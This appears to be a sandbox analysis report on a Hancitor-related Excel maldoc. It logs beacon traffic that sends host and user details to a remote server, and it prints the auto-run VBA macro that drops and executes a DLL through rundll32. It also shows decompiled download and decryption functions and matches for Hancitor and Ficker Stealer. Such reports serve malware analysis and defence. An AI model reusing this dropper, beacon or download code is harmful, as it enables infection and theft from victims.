92	192.168.2.22	49259	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:50.362248898 CEST	398	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:50.531900883 CEST	398	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 48 53 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVHSEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.22	49260	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:50.801610947 CEST	399	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:50.971095085 CEST	400	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 51 4a 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBQJYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.22	49261	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:51.277574062 CEST	400	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:51.433959007 CEST	401	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4a 51 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYJQBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.22	49262	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:51.715058088 CEST	402	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:51.870856047 CEST	402	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 46 55 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJFUQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.22	49263	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:52.144679070 CEST	403	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:52.313642025 CEST	403	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 4a 51 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJJQQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.22	49264	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:52.598970890 CEST	404	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:52.765852928 CEST	404	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 56 45 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNVEMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.22	49265	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:53.057029009 CEST	405	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:53.214713097 CEST	405	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 41 5a 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFAZUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.22	49266	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:53.486310005 CEST	406	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:53.658466101 CEST	406	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 5a 41 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMZANARRABw==0

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2404 Parent PID: 584

General

Start time:	16:10:37
Start date:	22/07/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f450000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: imjppdmg.exe PID: 1360 Parent PID: 2404

General

Start time:	16:10:38
Start date:	22/07/2021
Path:	C:\Windows\System32\IME\IMEJP10\imjppdmg.exe
Wow64 process (32bit):	false
Commandline:	/Migration
Imagebase:	0xffdb0000
File size:	30208 bytes
MD5 hash:	3716DEC1E0B88BB19968BBC2659B02A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: rundll32.exe PID: 2384 Parent PID: 2404

General

Start time:	16:10:41
Start date:	22/07/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB
Imagebase:	0xff020000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2364 Parent PID: 2384

General

Start time:	16:10:41
Start date:	22/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\rundll32.exe' C:\Users\user\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB
Imagebase:	0xb60000
File size:	44544 bytes
MD5 hash:	51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Hancitor, Description: Yara detected Hancitor, Source: 00000005.00000003.2121584965.00000000001D0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Hancitor, Description: Yara detected Hancitor, Source: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2292 Parent PID: 2364

General

Start time:	16:10:59
Start date:	22/07/2021
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe
Imagebase:	0xb30000
File size:	20992 bytes
MD5 hash:	54A47F6B5E09A77E61649109C6A08866
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ficker_Stealer_1, Description: Yara detected Ficker Stealer, Source: 00000007.00000002.2132921997.000000000022B000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Module1

Declaration

Line	Content
1	Attribute VB_Name = "Module1"

Executed Functions

Subroutine nam, APIs: 1, Strings: 1, Number of lines: 3, Relevance: 5.253

APIs	Meta Information
Environ$

Strings	Decrypted Strings
"temp"

Line	Instruction	Meta Information
3	Sub nam(pafs as String)
4	Name pafs As Environ$("temp") & "\" & "omsh.dll"	Environ$ executed
5	End Sub

Subroutine Search, APIs: 8, Strings: 2, Number of lines: 15, Relevance: 15.015

APIs	Meta Information
SubFolders
Part of subcall function Search@Module1: SubFolders
Part of subcall function Search@Module1: Files
Part of subcall function Search@Module1: Name
Part of subcall function Search@Module1: Clear
Files
Name
Clear

Strings	Decrypted Strings
"532.dll"
"532.dll"

Line	Instruction	Meta Information
10	Sub Search(mds as Object, pafs as String)
11	Dim Nedc as Object	executed
14	For Each Nedc in mds.SubFolders	SubFolders SubFolders
15	Search Nedc, pafs
16	Next Nedc	SubFolders SubFolders
17	Dim Ters as Object
18	For Each Ters in mds.Files	Files Files
20	If Ters.Name = "532.dll" Then	Name Name
22	pafs = Ters
23	Endif
24	Next Ters	Files Files
25	Exit Sub
25	ErrHandle:
28	Err.Clear	Clear Clear
29	End Sub

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True
9	Option Compare Text
10	Option Explicit
11	Dim Ioes as String
12	Private Declare PtrSafe Function fffz Lib "shell32" Alias "ShellExecuteA"(ByVal hwnd as Long, ByVal lpOperation as String, ByVal lpFile as String, ByVal lpParameters as String, ByVal lpDirectory as String, ByVal nShowCmd as Long) as Long

Executed Functions

Subroutine Workbook_Open, APIs: 11, Strings: 14, Number of lines: 17, Relevance: 66.017

APIs	Meta Information
Environ$
Dir
Select
Copy
Part of subcall function xxx@ThisWorkbook: Environ$
Part of subcall function xxx@ThisWorkbook: GetFolder
Len	Len("C:\Users\Albus\AppData\Local\Temp\532.dll") -> 41
Part of subcall function nam@Module1: Environ$
shell32!ShellExecuteA	shell32!ShellExecuteA(0,"","rundll32","C:\Users\Albus\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB","",1)
vbNullString
Environ$

Strings	Decrypted Strings
"temp"
"texmp"
""""
".exe"
"Object 20"
"rundl""l32"
"temp"
"Object 20"
".exe"
"rundl""l32"
"temp"
".exe"
"rundl""l32"
"temp"

Line	Instruction	Meta Information
17	Private Sub Workbook_Open()
21	Dim vcbc as String	executed
22	vcbc = Environ$("temp")	Environ$
23	Dim xc
24	xc = "texmp"
25	If Dir(vcbc & "\omsh.dll") = "" Then	Dir
27	ActiveSheet.Shapes.Range(Array("Object 20")).Select	Select
28	Selection.Copy	Copy
31	Call xxx()
33	If Len(Ioes) > 2 Then	Len("C:\Users\Albus\AppData\Local\Temp\532.dll") -> 41 executed
35	Call nam(Ioes)
37	Dim ued as String
38	ued = ".exe"
41	fffz 0, vbNullString, "rundl" & "l32", Environ$("temp") & "\omsh.dll,SHIIJGLGNAB", vbNullString, 1	shell32!ShellExecuteA(0,"","rundll32","C:\Users\Albus\AppData\Local\Temp\omsh.dll,SHIIJGLGNAB","",1) vbNullString Environ$ executed
44	Endif
45	Endif
46	End Sub

Subroutine xxx, APIs: 6, Strings: 1, Number of lines: 7, Relevance: 14.007

APIs	Meta Information
Environ$
Part of subcall function Search@Module1: SubFolders
Part of subcall function Search@Module1: Files
Part of subcall function Search@Module1: Name
Part of subcall function Search@Module1: Clear
GetFolder

Strings	Decrypted Strings
"temp"

Line	Instruction	Meta Information
49	Sub xxx()
50	Dim usx	executed
52	usx = Environ$("temp")	Environ$
55	Dim asdaf as FileSystemObject
57	Set asdaf = New Scripting.FileSystemObject
60	Call Search(asdaf.GetFolder(usx), Ioes)	GetFolder
62	End Sub

Reset < >

Analysis Process: rundll32.exe PID: 2364 Parent PID: 2384 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	77.6%
Signature Coverage:	10.5%
Total number of Nodes:	1155
Total number of Limit Nodes:	11

Executed Functions

Function 00341FE0, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 183
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00341FE0(char* _a4, void* _a8, long _a12, DWORD** _a16) {
				void* _v8;
				long _v12;
				void* _v16;
				signed short _v20;
				signed int _v24;
				void _v28;
				void _v32;
				void* _v36;
				long _v40;
				long _v44;
				int _v48;
				intOrPtr _v60;
				char* _v64;
				signed short _v84;
				intOrPtr _v88;
				char* _v92;
				long _v96;
				void* _v108;
				char _v368;
				char _v628;
				int _t79;
				void* _t80;
				void* _t83;
				int _t97;
				void* _t141;

				E003414A0( &_v108, 0, 0x3c);
				_v108 = 0x3c;
				_v92 =  &_v368;
				_v88 = 0x104;
				_v64 =  &_v628;
				_v60 = 0x104;
				 *((char*)(_t141 + 0xfffffffffffffe94)) = 0;
				 *((char*)(_t141 + 0xfffffffffffffd90)) = 0;
				_t79 = InternetCrackUrlA(_a4, 0, 0,  &_v108); // executed
				if(_t79 != 0) {
					if(_v96 == 0) {
						_v96 = 3;
					}
					if(_v96 == 3 || _v96 == 4) {
						_t80 = E003424F0(); // executed
						_v36 = _t80;
						if(_v36 != 0) {
							_v20 = _v84;
							_v24 = 0x84080100;
							if(_v96 == 4) {
								_v24 = _v24 | 0x00803000;
							}
							_t83 = InternetConnectA(_v36,  &_v368, _v20 & 0x0000ffff, 0, 0, 3, 0, 1); // executed
							_v16 = _t83;
							if(_v16 != 0) {
								_v8 = HttpOpenRequestA(_v16, "GET",  &_v628, 0, 0, 0x347050, _v24, 1);
								if(_v8 != 0) {
									if(_v96 == 4) {
										_v40 = 4;
										InternetQueryOptionA(_v8, 0x1f,  &_v28,  &_v40);
										_v28 = _v28 | 0x00001100;
										InternetSetOptionA(_v8, 0x1f,  &_v28, 4);
									}
									HttpSendRequestA(_v8, 0, 0, 0, 0); // executed
									_v32 = 0;
									_v44 = 4;
									HttpQueryInfoA(_v8, 0x20000013,  &_v32,  &_v44, 0);
									if(_v32 != 0xc8 || _a8 == 0) {
										L26:
										InternetCloseHandle(_v8); // executed
										InternetCloseHandle(_v16);
										if(_v32 != 0xc8) {
											return 0;
										}
										return 1;
									} else {
										 *_a16 = 0;
										while(1 != 0) {
											_t97 = InternetReadFile(_v8, _a8, _a12,  &_v12); // executed
											_v48 = _t97;
											if(_v48 != 1 || _v12 <= 0) {
												goto L26;
											} else {
												_a8 = _a8 + _v12;
												_a12 = _a12 - _v12;
												 *_a16 =  *_a16 + _v12;
												continue;
											}
										}
										goto L26;
									}
								}
								InternetCloseHandle(_v16);
								return 0;
							} else {
								return 0;
							}
						}
						return 0;
					} else {
						return 0;
					}
				}
				return 0;
			}

0x00341ff1
0x00341ff9
0x00342006
0x00342009
0x00342016
0x00342019
0x00342028
0x00342038
0x0034204c
0x00342054
0x00342061
0x00342063
0x00342063
0x0034206e
0x0034207d
0x00342082
0x00342089
0x00342096
0x0034209a
0x003420a5
0x003420b0
0x003420b0
0x003420cd
0x003420d3
0x003420da
0x00342108
0x0034210f
0x00342126
0x00342128
0x0034213d
0x0034214b
0x0034215a
0x0034215a
0x0034216c
0x00342172
0x00342179
0x00342193
0x003421a0
0x00342204
0x00342208
0x00342212
0x0034221f
0x00000000
0x00342228
0x00000000
0x003421a8
0x003421ab
0x003421b1
0x003421ca
0x003421d0
0x003421d7
0x00000000
0x003421df
0x003421e5
0x003421ee
0x003421fc
0x00000000
0x00342202
0x003421d7
0x00000000
0x003421b1
0x003421a0
0x00342115
0x00000000
0x003420dc
0x00000000
0x003420dc
0x003420da
0x00000000
0x00342076
0x00000000
0x00342076
0x0034206e
0x00000000

APIs

InternetCrackUrlA.WININET(00341AD9,00000000,00000000,0000003C), ref: 0034204C

Strings

<, xrefs: 00341FF9
GET, xrefs: 003420F9
b%4, xrefs: 0034212F

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348559404.0000000000345000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.2348564612.0000000000348000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_340000_rundll32.jbxd

Yara matches

Similarity

API ID: CrackInternet
String ID: <$GET$b%4
API String ID: 1381609488-3990811026
Opcode ID: 3f16654737ec8329ee9c171fbc9684e0ef6940ee9561aff2280cbf235cdc0108
Instruction ID: 858210e9bf5f2fd06378b79b77eb74743c289ea269def6f0c81301cfc60e9672
Opcode Fuzzy Hash: 3f16654737ec8329ee9c171fbc9684e0ef6940ee9561aff2280cbf235cdc0108
Instruction Fuzzy Hash: 3C71FB74D00209EBEB15CF94D849BEFB7B8AB48704F508469F611BB280D7B5AA44CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0036EAD1, Relevance: 13.8, APIs: 9, Instructions: 318
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00000747,00003000,00000040,00000747,0036E520), ref: 0036EB8E
VirtualAlloc.KERNEL32(00000000,00000056,00003000,00000040,0036E583), ref: 0036EBC5
VirtualAlloc.KERNEL32(00000000,00008440,00003000,00000040), ref: 0036EC25
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0036EC5B
VirtualProtect.KERNEL32(00340000,00000000,00000004,0036EAB0), ref: 0036ED60
VirtualProtect.KERNEL32(00340000,00001000,00000004,0036EAB0), ref: 0036ED87
VirtualProtect.KERNEL32(00000000,?,00000002,0036EAB0), ref: 0036EE54
VirtualProtect.KERNEL32(00000000,?,00000002,0036EAB0,?), ref: 0036EEAA
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0036EEC6

Memory Dump Source

Source File: 00000005.00000002.2348607784.000000000036E000.00000040.00020000.sdmp, Offset: 0036E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36e000_rundll32.jbxd

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: b8860180137a99a01dd5583635bfa050268266bf5e99bcb38fbceefd7ff4e24e
Instruction ID: fe9c6763fb14d4ce60d0bc32a70d4ed0e82d91f9040b0920a7b072d327cffc37
Opcode Fuzzy Hash: b8860180137a99a01dd5583635bfa050268266bf5e99bcb38fbceefd7ff4e24e
Instruction Fuzzy Hash: 31D16936580680DFEB12CF04CC81F5177AAFF49310B1941A4EE0BAF65AD770A858DBE6

Uniqueness

Uniqueness Score: -1.00%

Function 00342CD0, Relevance: 12.1, APIs: 8, Instructions: 91
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00342CD0(BYTE* _a4, int _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				long* _v16;
				int _v20;
				intOrPtr _v24;
				int _t32;
				intOrPtr _t33;
				long* _t35;

				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				_v20 = 0;
				_v24 = 0x280011;
				_t32 = CryptAcquireContextA( &_v12, 0, 0, 1, 0xf0000000); // executed
				if(_t32 != 0) {
					__imp__CryptCreateHash(_v12, 0x8004, 0, 0,  &_v8);
					if(_t32 != 0) {
						_t33 = _a16;
						__imp__CryptHashData(_v8, _a12, _t33, 0);
						if(_t33 != 0) {
							_t35 = _v12;
							__imp__CryptDeriveKey(_t35, 0x6801, _v8, _v24,  &_v16);
							if(_t35 != 0) {
								if(CryptDecrypt(_v16, 0, 1, 0, _a4,  &_a8) != 0) {
									_v20 = _a8;
								}
							}
						}
					}
				}
				if(_v8 != 0) {
					__imp__CryptDestroyHash(_v8);
					_v8 = 0;
				}
				if(_v16 != 0) {
					CryptDestroyKey(_v16);
					_v16 = 0;
				}
				if(_v12 != 0) {
					CryptReleaseContext(_v12, 0);
					_v12 = 0;
				}
				return _v20;
			}

0x00342cd6
0x00342cdd
0x00342ce4
0x00342ceb
0x00342cf2
0x00342d08
0x00342d10
0x00342d2d
0x00342d35
0x00342d3d
0x00342d49
0x00342d51
0x00342d68
0x00342d6c
0x00342d74
0x00342d94
0x00342d9d
0x00342d9d
0x00342d94
0x00342d74
0x00342d51
0x00342d35
0x00342da4
0x00342daa
0x00342db0
0x00342db0
0x00342dbb
0x00342dc1
0x00342dc7
0x00342dc7
0x00342dd2
0x00342dda
0x00342de0
0x00342de0
0x00342ded

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000), ref: 00342D08
CryptCreateHash.ADVAPI32(00000000,00008004,00000000,00000000,00000000), ref: 00342D2D
CryptDestroyHash.ADVAPI32(00000000), ref: 00342DAA
CryptDestroyKey.ADVAPI32(00000000), ref: 00342DC1
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00342DDA

Memory Dump Source

Source File: 00000005.00000002.2348545446.0000000000341000.00000020.00020000.sdmp, Offset: 00340000, based on PE: true

Associated: 00000005.00000002.2348540160.0000000000340000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.2348553427.0000000000344000.00000002.00020000.sdmp Download File
